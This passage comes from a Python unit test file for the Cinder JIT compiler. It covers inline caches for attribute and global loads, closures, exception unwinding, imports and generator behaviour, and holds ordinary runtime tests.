test_call_dynamic_pos_list(self): r = _simpleFunc(*[1, 2]) self.assertEqual(r, (1, 2)) @unittest.failUnlessJITCompiled def test_call_dynamic_pos_and_kw(self): r = _simpleFunc(*(1,), **{"b": 2}) self.assertEqual(r, (1, 2)) @unittest.failUnlessJITCompiled def _doCall(self, args, kwargs): return _simpleFunc(*args, **kwargs) def test_invalid_kw_type(self): err = r"_simpleFunc\(\) argument after \*\* must be a mapping, not int" with self.assertRaisesRegex(TypeError, err): self._doCall([], 1) @unittest.skipUnlessCinderJITEnabled("Exposes interpreter reference leak") def test_invalid_pos_type(self): err = r"_simpleFunc\(\) argument after \* must be an iterable, not int" with self.assertRaisesRegex(TypeError, err): self._doCall(1, {}) @staticmethod def _f1(a, b): return a, b @unittest.failUnlessJITCompiled def test_call_class_static_pos_and_kw(self): r = CallExTests._f1(*(1,), **{"b": 2}) self.assertEqual(r, (1, 2)) @unittest.failUnlessJITCompiled def test_call_class_static_kw_only(self): r = CallKWArgsTests._f1(**{"b": 2, "a": 1}) self.assertEqual(r, (1, 2)) def _f2(self, a, b): return self, a, b @unittest.failUnlessJITCompiled def test_call_method_kw_and_pos(self): r = self._f2(*(1,), **{"b": 2}) self.assertEqual(r, (self, 1, 2)) @unittest.failUnlessJITCompiled def test_call_method_kw_only(self): r = self._f2(**{"b": 2, "a": 1}) self.assertEqual(r, (self, 1, 2)) @unittest.failUnlessJITCompiled def test_call_bound_method_kw_and_pos(self): f = self._f2 r = f(*(1,), **{"b": 2}) self.assertEqual(r, (self, 1, 2)) @unittest.failUnlessJITCompiled def test_call_bound_method_kw_only(self): f = self._f2 r = f(**{"b": 2, "a": 1}) self.assertEqual(r, (self, 1, 2)) @unittest.failUnlessJITCompiled def test_call_obj_kw_and_pos(self): o = _CallableObj() r = o(*(1,), **{"b": 2}) self.assertEqual(r, (o, 1, 2)) @unittest.failUnlessJITCompiled def test_call_obj_kw_only(self): o = _CallableObj() r = o(**{"b": 2, "a": 1}) self.assertEqual(r, (o, 1, 2)) @unittest.failUnlessJITCompiled def test_call_c_func_pos_only(self): self.assertEqual(len(*([2],)), 1) @unittest.failUnlessJITCompiled def test_call_c_func_pos_and_kw(self): self.assertEqual(__import__(*("sys",), **{"globals": None}), sys) class LoadMethodCacheTests(unittest.TestCase): def test_type_modified(self): class Oracle: def meaning_of_life(self): return 42 obj = Oracle() # Uncached self.assertEqual(get_meaning_of_life(obj), 42) # Cached self.assertEqual(get_meaning_of_life(obj), 42) # Invalidate cache def new_meaning_of_life(x): return 0 Oracle.meaning_of_life = new_meaning_of_life self.assertEqual(get_meaning_of_life(obj), 0) def test_base_type_modified(self): class Base: def meaning_of_life(self): return 42 class Derived(Base): pass obj = Derived() # Uncached self.assertEqual(get_meaning_of_life(obj), 42) # Cached self.assertEqual(get_meaning_of_life(obj), 42) # Mutate Base. Should propagate to Derived and invalidate the cache. def new_meaning_of_life(x): return 0 Base.meaning_of_life = new_meaning_of_life self.assertEqual(get_meaning_of_life(obj), 0) def test_second_base_type_modified(self): class Base1: pass class Base2: def meaning_of_life(self): return 42 class Derived(Base1, Base2): pass obj = Derived() # Uncached self.assertEqual(get_meaning_of_life(obj), 42) # Cached self.assertEqual(get_meaning_of_life(obj), 42) # Mutate first base. Should propagate to Derived and invalidate the cache. def new_meaning_of_life(x): return 0 Base1.meaning_of_life = new_meaning_of_life self.assertEqual(get_meaning_of_life(obj), 0) def test_type_dunder_bases_reassigned(self): class Base1: pass class Derived(Base1): pass # No shadowing happens between obj{1,2} and Derived, thus the now # shadowing flag should be set obj1 = Derived() obj2 = Derived() obj2.meaning_of_life = nothing # Now obj2.meaning_of_life shadows Base.meaning_of_life class Base2: def meaning_of_life(self): return 42 Derived.__bases__ = (Base2,) # Attempt to prime the cache self.assertEqual(get_meaning_of_life(obj1), 42) self.assertEqual(get_meaning_of_life(obj1), 42) # If flag is not correctly cleared when Derived.__bases__ is # assigned we will end up returning 42 self.assertEqual(get_meaning_of_life(obj2), 0) def _make_obj(self): class Oracle: def meaning_of_life(self): return 42 obj = Oracle() # Uncached self.assertEqual(get_meaning_of_life(obj), 42) # Cached self.assertEqual(get_meaning_of_life(obj), 42) return obj def test_instance_assignment(self): obj = self._make_obj() obj.meaning_of_life = nothing self.assertEqual(get_meaning_of_life(obj), 0) def test_instance_dict_assignment(self): obj = self._make_obj() obj.__dict__["meaning_of_life"] = nothing self.assertEqual(get_meaning_of_life(obj), 0) def test_instance_dict_replacement(self): obj = self._make_obj() obj.__dict__ = {"meaning_of_life": nothing} self.assertEqual(get_meaning_of_life(obj), 0) def test_instance_dunder_class_assignment(self): obj = self._make_obj() class Other: pass other = Other() other.meaning_of_life = nothing other.__class__ = obj.__class__ self.assertEqual(get_meaning_of_life(other), 0) def test_shadowcode_setattr(self): """sets attribute via shadow byte code, it should update the type bit for instance shadowing""" obj = self._make_obj() obj.foo = 42 obj1 = type(obj)() obj1.other = 100 def f(obj, set): if set: obj.meaning_of_life = nothing yield 42 for i in range(100): list(f(obj, False)) list(f(obj, True)) self.assertEqual(get_meaning_of_life(obj), 0) def test_shadowcode_setattr_split(self): """sets attribute via shadow byte code on a split dict, it should update the type bit for instance shadowing""" obj = self._make_obj() def f(obj, set): if set: obj.meaning_of_life = nothing yield 42 for i in range(100): list(f(obj, False)) list(f(obj, True)) self.assertEqual(get_meaning_of_life(obj), 0) @unittest.failUnlessJITCompiled def get_foo(obj): return obj.foo class LoadAttrCacheTests(unittest.TestCase): def test_dict_reassigned(self): class Base: def __init__(self, x): self.foo = x obj1 = Base(100) obj2 = Base(200) # uncached self.assertEqual(get_foo(obj1), 100) # cached self.assertEqual(get_foo(obj1), 100) self.assertEqual(get_foo(obj2), 200) obj1.__dict__ = {"foo": 200} self.assertEqual(get_foo(obj1), 200) self.assertEqual(get_foo(obj2), 200) def test_dict_mutated(self): class Base: def __init__(self, foo): self.foo = foo obj = Base(100) # uncached self.assertEqual(get_foo(obj), 100) # cached self.assertEqual(get_foo(obj), 100) obj.__dict__["foo"] = 200 self.assertEqual(get_foo(obj), 200) def test_dict_resplit(self): # This causes one resize of the instance dictionary, which should cause # it to go from split -> combined -> split. class Base: def __init__(self): self.foo, self.a, self.b = 100, 200, 300 self.c, self.d, self.e = 400, 500, 600 obj = Base() # uncached self.assertEqual(get_foo(obj), 100) # cached self.assertEqual(get_foo(obj), 100) obj.foo = 800 self.assertEqual(get_foo(obj), 800) def test_dict_combined(self): class Base: def __init__(self, foo): self.foo = foo obj1 = Base(100) # uncached self.assertEqual(get_foo(obj1), 100) # cached self.assertEqual(get_foo(obj1), 100) obj2 = Base(200) obj2.bar = 300 # At this point the dictionary should still be split obj3 = Base(400) obj3.baz = 500 # Assigning 'baz' should clear the cached key object for Base and leave # existing instance dicts in the following states: # # obj1.__dict__ - Split # obj2.__dict__ - Split # obj3.__dict__ - Combined obj4 = Base(600) self.assertEqual(get_foo(obj1), 100) self.assertEqual(get_foo(obj2), 200) self.assertEqual(get_foo(obj3), 400) self.assertEqual(get_foo(obj4), 600) class SetNonDataDescrAttrTests(unittest.TestCase): @unittest.failUnlessJITCompiled def set_foo(self, obj, val): obj.foo = val def setUp(self): class Descr: def __init__(self, name): self.name = name def __get__(self, obj, typ): return obj.__dict__[self.name] self.descr_type = Descr self.descr = Descr("foo") class Test: foo = self.descr self.obj = Test() def test_set_when_changed_to_data_descr(self): # uncached self.set_foo(self.obj, 100) self.assertEqual(self.obj.foo, 100) # cached self.set_foo(self.obj, 200) self.assertEqual(self.obj.foo, 200) # convert into a data descriptor def setter(self, obj, val): self.invoked = True self.descr.__class__.__set__ = setter # setter doesn't modify the object, so obj.foo shouldn't change self.set_foo(self.obj, 300) self.assertEqual(self.obj.foo, 200) self.assertTrue(self.descr.invoked) class GetSetNonDataDescrAttrTests(unittest.TestCase): @unittest.failUnlessJITCompiled def get_foo(self, obj): return obj.foo def setUp(self): class NonDataDescr: def __init__(self, val): self.val = val self.invoked_count = 0 self.set_dict = True def __get__(self, obj, typ): self.invoked_count += 1 if self.set_dict: obj.__dict__["foo"] = self.val return self.val self.descr_type = NonDataDescr self.descr = NonDataDescr("testing 123") class Test: foo = self.descr self.obj = Test() def test_get(self): # uncached self.assertEqual(self.get_foo(self.obj), "testing 123") self.assertEqual(self.descr.invoked_count, 1) # cached; __get__ should not be invoked as there is now a shadowing # entry in obj's __dict__ self.assertEqual(self.get_foo(self.obj), "testing 123") self.assertEqual(self.descr.invoked_count, 1) # cached; __get__ should be invoked as there is not a shadowing # entry in obj2's __dict__ obj2 = self.obj.__class__() self.assertEqual(self.get_foo(obj2), "testing 123") self.assertEqual(self.descr.invoked_count, 2) def test_get_when_changed_to_data_descr(self): # uncached self.assertEqual(self.get_foo(self.obj), "testing 123") self.assertEqual(self.descr.invoked_count, 1) # cached; __get__ should not be invoked as there is now a shadowing # entry in obj's __dict__ self.assertEqual(self.get_foo(self.obj), "testing 123") self.assertEqual(self.descr.invoked_count, 1) # Convert descriptor into a data descr by modifying its type def setter(self, obj, val): pass self.descr.__class__.__set__ = setter # cached; __get__ should be invoked as self.descr is now a data descr self.assertEqual(self.get_foo(self.obj), "testing 123") self.assertEqual(self.descr.invoked_count, 2) def test_get_when_changed_to_classvar(self): # Don't set anything in the instance dict when the descriptor is # invoked. This ensures we don't early exit and bottom out into the # descriptor case. self.descr.set_dict = False # uncached self.assertEqual(self.get_foo(self.obj), "testing 123") self.assertEqual(self.descr.invoked_count, 1) # cached self.assertEqual(self.get_foo(self.obj), "testing 123") self.assertEqual(self.descr.invoked_count, 2) # Convert descriptor into a plain old value by changing the # descriptor's type class ClassVar: pass self.descr.__class__ = ClassVar # Cached; type check on descriptor's type should fail self.assertIs(self.get_foo(self.obj), self.descr) self.assertEqual(self.descr.invoked_count, 2) @unittest.failUnlessJITCompiled def set_foo(x, val): x.foo = val class DataDescr: def __init__(self, val): self.val = val self.invoked = False def __get__(self, obj, typ): return self.val def __set__(self, obj, val): self.invoked = True class StoreAttrCacheTests(unittest.TestCase): def test_data_descr_attached(self): class Base: def __init__(self, x): self.foo = x obj = Base(100) # Uncached set_foo(obj, 200) # Cached set_foo(obj, 200) self.assertEqual(obj.foo, 200) # Attaching a data descriptor to the type should invalidate the cache # and prevent future caching descr = DataDescr(300) Base.foo = descr set_foo(obj, 200) self.assertEqual(obj.foo, 300) self.assertTrue(descr.invoked) descr.invoked = False set_foo(obj, 400) self.assertEqual(obj.foo, 300) self.assertTrue(descr.invoked) def test_swap_split_dict_with_combined(self): class Base: def __init__(self, x): self.foo = x obj = Base(100) # Uncached set_foo(obj, 200) # Cached set_foo(obj, 200) self.assertEqual(obj.foo, 200) # At this point obj should have a split dictionary for attribute # storage. We're going to swap it out with a combined dictionary # and verify that attribute stores still work as expected. d = {"foo": 300} obj.__dict__ = d set_foo(obj, 400) self.assertEqual(obj.foo, 400) self.assertEqual(d["foo"], 400) def test_swap_combined_dict_with_split(self): class Base: def __init__(self, x): self.foo = x # Swap out obj's dict with a combined dictionary. Priming the IC # for set_foo will result in it expecting a combined dictionary # for instances of type Base. obj = Base(100) obj.__dict__ = {"foo": 100} # Uncached set_foo(obj, 200) # Cached set_foo(obj, 200) self.assertEqual(obj.foo, 200) # obj2 should have a split dictionary used for attribute storage # which will result in a cache miss in the IC obj2 = Base(300) set_foo(obj2, 400) self.assertEqual(obj2.foo, 400) def test_split_dict_no_slot(self): class Base: pass # obj is a split dict obj = Base() obj.quox = 42 # obj1 is no longer split, but the assignment # didn't go through _PyObjectDict_SetItem, so the type # still has a valid CACHED_KEYS obj1 = Base() obj1.__dict__["other"] = 100 # now we try setting foo on obj1, do the set on obj1 # while setting up the cache, but attempt to create a cache # with an invalid val_offset because there's no foo # entry in the cached keys. set_foo(obj1, 300) self.assertEqual(obj1.foo, 300) set_foo(obj, 400) self.assertEqual(obj1.foo, 300) class LoadGlobalCacheTests(unittest.TestCase): def setUp(self): global license, a_global try: del license except NameError: pass try: del a_global except NameError: pass @staticmethod def set_global(value): global a_global a_global = value @staticmethod @unittest.failUnlessJITCompiled def get_global(): return a_global @staticmethod def del_global(): global a_global del a_global @staticmethod def set_license(value): global license license = value @staticmethod def del_license(): global license del license @unittest.failUnlessJITCompiled def test_simple(self): global a_global self.set_global(123) self.assertEqual(a_global, 123) self.set_global(456) self.assertEqual(a_global, 456) @unittest.failUnlessJITCompiled def test_shadow_builtin(self): self.assertIs(license, builtins.license) self.set_license(0xDEADBEEF) self.assertIs(license, 0xDEADBEEF) self.del_license() self.assertIs(license, builtins.license) @unittest.failUnlessJITCompiled def test_shadow_fake_builtin(self): self.assertRaises(NameError, self.get_global) builtins.a_global = "poke" self.assertEqual(a_global, "poke") self.set_global("override poke") self.assertEqual(a_global, "override poke") self.del_global() self.assertEqual(a_global, "poke") # We don't support DELETE_ATTR yet. delattr(builtins, "a_global") self.assertRaises(NameError, self.get_global) class prefix_str(str): def __new__(ty, prefix, value): s = super().__new__(ty, value) s.prefix = prefix return s def __hash__(self): return hash(self.prefix + self) def __eq__(self, other): return (self.prefix + self) == other @unittest.failUnlessJITCompiled def test_weird_key_in_globals(self): global a_global self.assertRaises(NameError, self.get_global) globals()[self.prefix_str("a_glo", "bal")] = "a value" self.assertEqual(a_global, "a value") self.assertEqual(self.get_global(), "a value") class MyGlobals(dict): def __getitem__(self, key): if key == "knock_knock": return "who's there?" return super().__getitem__(key) @with_globals(MyGlobals()) def return_knock_knock(self): return knock_knock def test_dict_subclass_globals(self): self.assertEqual(self.return_knock_knock(), "who's there?") @unittest.failUnlessJITCompiled def _test_unwatch_builtins(self): self.set_global("hey") self.assertEqual(self.get_global(), "hey") builtins.__dict__[42] = 42 def test_unwatch_builtins(self): try: self._test_unwatch_builtins() finally: del builtins.__dict__[42] @contextmanager def temp_sys_path(self): with tempfile.TemporaryDirectory() as tmpdir: _orig_sys_modules = sys.modules sys.modules = _orig_sys_modules.copy() _orig_sys_path = sys.path[:] sys.path.insert(0, tmpdir) try: yield Path(tmpdir) finally: sys.path[:] = _orig_sys_path sys.modules = _orig_sys_modules def test_preload_side_effect_modifies_globals(self): with self.temp_sys_path() as tmp: (tmp / "tmp_a.py").write_text( dedent( """ from __future__ import lazy_imports from tmp_b import B A = 1 def get_a(): return A + B """ ), encoding="utf8", ) (tmp / "tmp_b.py").write_text( dedent( """ import tmp_a tmp_a.A = 2 B = 3 """ ), encoding="utf8", ) if cinderjit: cinderjit.clear_runtime_stats() import tmp_a # What happens on the first call is kinda undefined in principle # given lazy imports; somebody could previously have imported B # (not in this specific test, but in principle), or not, so the # first call might return 4 or 5. With JIT compilation it will # always return 5 because compilation will trigger the lazy import # and its side effect. Without the JIT it will return 4 in this # test, but we consider this an acceptable side effect of JIT # compilation because this code can't in general rely on B never # having previously been imported. tmp_a.get_a() # On the second call the result should undoubtedly be 5 in all # circumstances. Even if we compile with the wrong value for A, the # guard on the LoadGlobalCached will ensure we deopt and return the # right result. self.assertEqual(tmp_a.get_a(), 5) if cinderjit: self.assertTrue(cinderjit.is_jit_compiled(tmp_a.get_a)) # The real test here is what when the value of a global changes # during compilation preload (as it does in this test because # the preload bytescan of get_a() first hits A, loads the old # value, then hits B, triggers the lazy import and imports # tmp_b, causing the value of A to change), we still have time # to compile with the correct (new) value and avoid compiling # code that will inevitably deopt, and so we should. stats = cinderjit.get_and_clear_runtime_stats() relevant_deopts = [ d for d in stats["deopt"] if d["normal"]["func_qualname"] == "get_a" ] self.assertEqual(relevant_deopts, []) def test_preload_side_effect_makes_globals_unwatchable(self): with self.temp_sys_path() as tmp: (tmp / "tmp_a.py").write_text( dedent( """ from __future__ import lazy_imports from tmp_b import B A = 1 def get_a(): return A + B """ ), encoding="utf8", ) (tmp / "tmp_b.py").write_text( dedent( """ import tmp_a tmp_a.__dict__[42] = 1 tmp_a.A = 2 B = 3 """ ), encoding="utf8", ) if cinderjit: cinderjit.clear_runtime_stats() import tmp_a tmp_a.get_a() self.assertEqual(tmp_a.get_a(), 5) if cinderjit: self.assertTrue(cinderjit.is_jit_compiled(tmp_a.get_a)) def test_preload_side_effect_makes_builtins_unwatchable(self): with self.temp_sys_path() as tmp: (tmp / "tmp_a.py").write_text( dedent( """ from __future__ import lazy_imports from tmp_b import B def get_a(): return max(1, 2) + B """ ), encoding="utf8", ) (tmp / "tmp_b.py").write_text( dedent( """ __builtins__[42] = 2 B = 3 """ ), encoding="utf8", ) if cinderjit: cinderjit.clear_runtime_stats() import tmp_a tmp_a.get_a() self.assertEqual(tmp_a.get_a(), 5) if cinderjit: self.assertTrue(cinderjit.is_jit_compiled(tmp_a.get_a)) class ClosureTests(unittest.TestCase): @unittest.failUnlessJITCompiled def test_cellvar(self): a = 1 def foo(): return a self.assertEqual(foo(), 1) @unittest.failUnlessJITCompiled def test_two_cellvars(self): a = 1 b = 2 def g(): return a + b self.assertEqual(g(), 3) @unittest.failUnlessJITCompiled def test_cellvar_argument(self): def foo(): self.assertEqual(1, 1) foo() @unittest.failUnlessJITCompiled def test_cellvar_argument_modified(self): self_ = self def foo(): nonlocal self self = 1 self_.assertIs(self, self_) foo() self_.assertEqual(self, 1) @unittest.failUnlessJITCompiled def _cellvar_unbound(self): b = a a = 1 def g(): return a def test_cellvar_unbound(self): with self.assertRaises(UnboundLocalError) as ctx: self._cellvar_unbound() self.assertEqual( str(ctx.exception), "local variable 'a' referenced before assignment" ) def test_freevars(self): x = 1 @unittest.failUnlessJITCompiled def nested(): return x x = 2 self.assertEqual(nested(), 2) def test_freevars_multiple_closures(self): def get_func(a): @unittest.failUnlessJITCompiled def f(): return a return f f1 = get_func(1) f2 = get_func(2) self.assertEqual(f1(), 1) self.assertEqual(f2(), 2) def test_nested_func(self): @unittest.failUnlessJITCompiled def add(a, b): return a + b self.assertEqual(add(1, 2), 3) self.assertEqual(add("eh", "bee"), "ehbee") @staticmethod def make_adder(a): @unittest.failUnlessJITCompiled def add(b): return a + b return add def test_nested_func_with_closure(self): add_3 = self.make_adder(3) add_7 = self.make_adder(7) self.assertEqual(add_3(10), 13) self.assertEqual(add_7(12), 19) self.assertEqual(add_3(add_7(-100)), -90) with self.assertRaises(TypeError): add_3("ok") def test_nested_func_with_different_globals(self): @unittest.failUnlessJITCompiled @with_globals({"A_GLOBAL_CONSTANT": 0xDEADBEEF}) def return_global(): return A_GLOBAL_CONSTANT self.assertEqual(return_global(), 0xDEADBEEF) return_other_global = with_globals({"A_GLOBAL_CONSTANT": 0xFACEB00C})( return_global ) self.assertEqual(return_other_global(), 0xFACEB00C) self.assertEqual(return_global(), 0xDEADBEEF) self.assertEqual(return_other_global(), 0xFACEB00C) def test_nested_func_outlives_parent(self): @unittest.failUnlessJITCompiled def nested(x): @unittest.failUnlessJITCompiled def inner(y): return x + y return inner nested_ref = weakref.ref(nested) add_5 = nested(5) nested = None self.assertIsNone(nested_ref()) self.assertEqual(add_5(10), 15) class TempNameTests(unittest.TestCase): @unittest.failUnlessJITCompiled def _tmp_name(self, a, b): tmp1 = "hello" c = a + b return tmp1 def test_tmp_name(self): self.assertEqual(self._tmp_name(1, 2), "hello") @unittest.failUnlessJITCompiled def test_tmp_name2(self): v0 = 5 self.assertEqual(v0, 5) class DummyContainer: def __len__(self): raise Exception("hello!") class ExceptionInConditional(unittest.TestCase): @unittest.failUnlessJITCompiled def doit(self, x): if x: return 1 return 2 def test_exception_thrown_in_conditional(self): with self.assertRaisesRegex(Exception, "hello!"): self.doit(DummyContainer()) class JITCompileCrasherRegressionTests(unittest.TestCase): @unittest.failUnlessJITCompiled def _fstring(self, flag, it1, it2): for a in it1: for b in it2: if flag: return f"{a}" def test_fstring_no_fmt_spec_in_nested_loops_and_if(self): self.assertEqual(self._fstring(True, [1], [1]), "1") @unittest.failUnlessJITCompiled async def _sharedAwait(self, x, y, z): return await (x() if y else z()) def test_shared_await(self): async def zero(): return 0 async def one(): return 1 with self.assertRaises(StopIteration) as exc: self._sharedAwait(zero, True, one).send(None) self.assertEqual(exc.exception.value, 0) with self.assertRaises(StopIteration) as exc: self._sharedAwait(zero, False, one).send(None) self.assertEqual(exc.exception.value, 1) class DelObserver: def __init__(self, id, cb): self.id = id self.cb = cb def __del__(self): self.cb(self.id) class UnwindStateTests(unittest.TestCase): DELETED = [] def setUp(self): self.DELETED.clear() self.addCleanup(lambda: self.DELETED.clear()) def get_del_observer(self, id): return DelObserver(id, lambda i: self.DELETED.append(i)) @unittest.failUnlessJITCompiled def _copied_locals(self, a): b = c = a raise RuntimeError() def test_copied_locals_in_frame(self): try: self._copied_locals("hello") except RuntimeError as re: f_locals = re.__traceback__.tb_next.tb_frame.f_locals self.assertEqual( f_locals, {"self": self, "a": "hello", "b": "hello", "c": "hello"} ) @unittest.failUnlessJITCompiled def _raise_with_del_observer_on_stack(self): for x in (1 for i in [self.get_del_observer(1)]): raise RuntimeError() def test_decref_stack_objects(self): """Items on stack should be decrefed on unwind.""" try: self._raise_with_del_observer_on_stack() except RuntimeError: deleted = list(self.DELETED) else: self.fail("should have raised RuntimeError") self.assertEqual(deleted, [1]) @unittest.failUnlessJITCompiled def _raise_with_del_observer_on_stack_and_cell_arg(self): for x in (self for i in [self.get_del_observer(1)]): raise RuntimeError() def test_decref_stack_objs_with_cell_args(self): # Regression test for a JIT bug in which the unused locals slot for a # local-which-is-a-cell would end up getting populated on unwind with # some unrelated stack object, preventing it from being decrefed. try: self._raise_with_del_observer_on_stack_and_cell_arg() except RuntimeError: deleted = list(self.DELETED) else: self.fail("should have raised RuntimeError") self.assertEqual(deleted, [1]) class ImportTests(unittest.TestCase): @unittest.failUnlessJITCompiled def test_import_name(self): import math self.assertEqual(int(math.pow(1, 2)), 1) @unittest.failUnlessJITCompiled def _fail_to_import_name(self): import non_existent_module def test_import_name_failure(self): with self.assertRaises(ModuleNotFoundError): self._fail_to_import_name() @unittest.failUnlessJITCompiled def test_import_from(self): from math import pow as math_pow self.assertEqual(int(math_pow(1, 2)), 1) @unittest.failUnlessJITCompiled def _fail_to_import_from(self): from math import non_existent_attr def test_import_from_failure(self): with self.assertRaises(ImportError): self._fail_to_import_from() class RaiseTests(unittest.TestCase): @unittest.failUnlessJITCompiled def _jitRaise(self, exc): raise exc @unittest.failUnlessJITCompiled def _jitRaiseCause(self, exc, cause): raise exc from cause @unittest.failUnlessJITCompiled def _jitReraise(self): raise def test_raise_type(self): with self.assertRaises(ValueError): self._jitRaise(ValueError) def test_raise_value(self): with self.assertRaises(ValueError) as exc: self._jitRaise(ValueError(1)) self.assertEqual(exc.exception.args, (1,)) def test_raise_with_cause(self): cause = ValueError(2) cause_tb_str = f"{cause.__traceback__}" with self.assertRaises(ValueError) as exc: self._jitRaiseCause(ValueError(1), cause) self.assertIs(exc.exception.__cause__, cause) self.assertEqual(f"{exc.exception.__cause__.__traceback__}", cause_tb_str) def test_reraise(self): original_raise = ValueError(1) with self.assertRaises(ValueError) as exc: try: raise original_raise except ValueError: self._jitReraise() self.assertIs(exc.exception, original_raise) def test_reraise_of_nothing(self): with self.assertRaises(RuntimeError) as exc: self._jitReraise() self.assertEqual(exc.exception.args, ("No active exception to reraise",)) class GeneratorsTest(unittest.TestCase): @unittest.failUnlessJITCompiled def _f1(self): yield 1 def test_basic_operation(self): g = self._f1() self.assertEqual(g.send(None), 1) with self.assertRaises(StopIteration) as exc: g.send(None) self.assertIsNone(exc.exception.value) @unittest.failUnlessJITCompiled def _f2(self): yield 1 yield 2 return 3 def test_multi_yield_and_return(self): g = self._f2() self.assertEqual(g.send(None), 1) self.assertEqual(g.send(None), 2) with self.assertRaises(StopIteration) as exc: g.send(None) self.assertEqual(exc.exception.value, 3) @unittest.failUnlessJITCompiled def _f3(self): a = yield 1 b = yield 2 return a + b def test_receive_values(self): g = self._f3() self.assertEqual(g.send(None), 1) self.assertEqual(g.send(100), 2) with self.assertRaises(StopIteration) as exc: g.send(1000) self.assertEqual(exc.exception.value, 1100) @unittest.failUnlessJITCompiled def _f4(self, a): yield a yield a return a def test_one_arg(self): g = self._f4(10) self.assertEqual(g.send(None), 10) self.assertEqual(g.send(None), 10) with self.assertRaises(StopIteration) as exc: g.send(None) self.assertEqual(exc.exception.value, 10) @unittest.failUnlessJITCompiled def _f5( self, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16 ): v = ( yield a1 + a2 + a3 + a4 + a5 + a6 + a7 + a8 + a9 + a10 + a11 + a12 + a13 + a14 + a15 + a16 ) a1 <<= v a2 <<= v a3 <<= v a4 <<= v a5 <<= v a6 <<= v a7 <<= v a8 <<= v a9 <<= v a10 <<= v a11 <<= v a12 <<= v a13 <<= v a14 <<= v a15 <<= v a16 <<= v v = ( yield a1 + a2 + a3 + a4 + a5 + a6 + a7 + a8 + a9 + a10 + a11 + a12 + a13 + a14 + a15 + a16 ) a1 <<= v a2 <<= v a3 <<= v a4 <<= v a5 <<= v a6 <<= v a7 <<= v a8 <<= v a9 <<= v a10 <<= v a11 <<= v a12 <<= v a13 <<= v a14 <<= v a15 <<= v a16 <<= v return ( a1 + a2 + a3 + a4 + a5 + a6 + a7 + a8 + a9 + a10 + a11 + a12 + a13 + a14 + a15 + a16 ) def test_save_all_registers_and_spill(self): g = self._f5( 0x1, 0x2, 0x4, 0x8, 0x10, 0x20, 0x40, 0x80, 0x100, 0x200, 0x400, 0x800, 0x1000, 0x2000, 0x4000, 0x8000, ) self.assertEqual(g.send(None), 0xFFFF) self.assertEqual(g.send(1), 0xFFFF << 1) with self.assertRaises(StopIteration) as exc: g.send(2) self.assertEqual(exc.exception.value, 0xFFFF << 3) def test_for_loop_driven(self): l = [] for x in self._f2(): l.append(x) self.assertEqual(l, [1, 2]) @unittest.failUnlessJITCompiled def _f6(self): i = 0 while i < 1000: i = yield i def test_many_iterations(self): g = self._f6() self.assertEqual(g.send(None), 0) for i in range(1, 1000): self.assertEqual(g.send(i), i) with self.assertRaises(StopIteration) as exc: g.send(1000) self.assertIsNone(exc.exception.value) def _f_raises(self): raise ValueError @unittest.failUnlessJITCompiled def _f7(self): self._f_raises() yield 1 def test_raise(self): g = self._f7() with self.assertRaises(ValueError): g.send(None) def test_throw_into_initial_yield(self): g = self._f1() with self.assertRaises(ValueError): g.throw(ValueError) def test_throw_into_yield(self): g = self._f2() self.assertEqual(g.send(None), 1) with self.assertRaises(ValueError): g.throw(ValueError) def test_close_on_initial_yield(self): g = self._f1() g.close() def test_close_on_yield(self): g = self._f2() self.assertEqual(g.send(None), 1) g.close() @unittest.failUnlessJITCompiled def _f8(self, a): x += yield a def test_do_not_deopt_before_initial_yield(self): g = self._f8(1) with self.assertRaises(UnboundLocalError): g.send(None) @unittest.failUnlessJITCompiled def _f9(self, a): yield return a def test_incref_args(self): class X: pass g = self._f9(X()) g.send(None) with self.assertRaises(StopIteration) as exc: g.send(None) self.assertIsInstance(exc.exception.value, X) @unittest.failUnlessJITCompiled def _f10(self, X): x = X() yield weakref.ref(x) return x def test_gc_traversal(self): class X: pass g = self._f10(X) weak_ref_x = g.send(None) self.assertIn(weak_ref_x(), gc.get_objects()) referrers = gc.get_referrers(weak_ref_x()) self.assertEqual(len(referrers), 1) if unittest.case.CINDERJIT_ENABLED: self.assertIs(referrers[0], g) else: self.assertIs(referrers[0], g.gi_frame) with self.assertRaises(StopIteration): g.send(None) def test_resuming_in_another_thread(self): g = self._f1() def thread_function(g): self.assertEqual(g.send(None), 1) with self.assertRaises(StopIteration): g.send(None) t = threading.Thread(target=thread_function, args=(g,)) t.start() t.join() def test_release_data_on_discard(self): o = object() base_count = sys.getrefcount(o) g = self._f9(o) self.assertEqual(sys.getrefcount(o), base_count + 1) del g self.assertEqual(sys.getrefcount(o), base_count) @unittest.failUnlessJITCompiled def _f12(self, g): a = yield from g return a def test_yield_from_generator(self): g = self._f12(self._f2()) self.assertEqual(g.send(None), 1) self.assertEqual(g.send(None), 2) with self.assertRaises(StopIteration) as exc: g.send(None) self.assertEqual(exc.exception.value, 3) def test_yield_from_iterator(self): g = self._f12([1, 2]) self.assertEqual(g.send(None), 1) self.assertEqual(g.send(None), 2) with self.assertRaises(StopIteration): g.send(None) def test_yield_from_forwards_raise_down(self): def f(): try: yield 1 except ValueError: return 2 return 3 g = self._f12(f()) self.assertEqual(g.send(None), 1) with self.assertRaises(StopIteration) as exc: g.throw(ValueError) self.assertEqual(exc.exception.value, 2) def test_yield_from_forwards_raise_up(self): def f(): raise ValueError yield 1 g = self._f12(f()) with self.assertRaises(ValueError): g.send(None) def test_yield_from_passes_raise_through(self): g = self._f12(self._f2()) self.assertEqual(g.send(None), 1) with self.assertRaises(ValueError): g.throw(ValueError) def test_yield_from_forwards_close_down(self): saw_close = False def f(): nonlocal saw_close try: yield 1 except GeneratorExit: saw_close = True return 2 g = self._f12(f()) self.assertEqual(g.send(None), 1) g.close() self.assertTrue(saw_close) def test_yield_from_passes_close_through(self): g = self._f12(self._f2()) self.assertEqual(g.send(None), 1) g.close() def test_assert_on_yield_from_coro(self): async def coro(): pass c = coro() with self.assertRaises(TypeError) as exc: self._f12(c).send(None) self.assertEqual( str(exc.exception), "cannot 'yield from' a coroutine object in a non-coroutine generator", ) # Suppress warning c.close() def test_gen_freelist(self): """Exercise making a JITted generator with gen_data memory off the freelist.""" # make and dealloc a small coro, which will put its memory area on the freelist sc = self.small_coro() with self.assertRaises(StopIteration): sc.send(None) del sc # run another coro to verify we didn't put a bad pointer on the freelist sc2 = self.small_coro() with self.assertRaises(StopIteration): sc2.send(None) del sc2 # make a big coro and then deallocate it, bypassing the freelist bc = self.big_coro() with self.assertRaises(StopIteration): bc.send(None) del bc @unittest.failUnlessJITCompiled async def big_coro(self): # This currently results in a max spill size of ~100, but that could # change with JIT register allocation improvements. This test is only # testing what it intends to as long 